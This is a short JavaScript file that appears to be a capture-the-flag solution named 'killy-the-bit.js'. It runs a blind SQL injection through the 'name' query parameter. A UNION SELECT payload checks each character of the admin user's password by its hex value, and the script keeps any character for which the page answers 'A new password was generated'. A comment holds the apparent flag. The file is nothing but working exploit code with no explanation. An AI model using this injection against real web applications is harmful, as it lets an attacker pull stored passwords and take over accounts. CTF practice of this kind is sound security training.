killy-the-bit.js

var send = function(pos, text) {
  var xhr = new XMLHttpRequest()
  xhr.open('get', '/?name=' + encodeURIComponent("' union select '', '' from (select * from user where name = 'admin') as a where hex(substring(a.passwd,"+ pos +",1)) = '" + text))
  xhr.addEventListener('load', function() {
    if (/A new password was generated and sent to your email address/.test(xhr.responseText)) {
      var char = String.fromCharCode(parseInt(text, 16))
      console.log(char)
      flag.push(char)
      next(pos + 1)
    }
  })
  xhr.send()
}
var next = function(pos) {
  for (var i = 0; i < 126; ++i) {
    send(pos, i.toString(16))
  }
}
// next('flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}')
var flag = [];
next(1)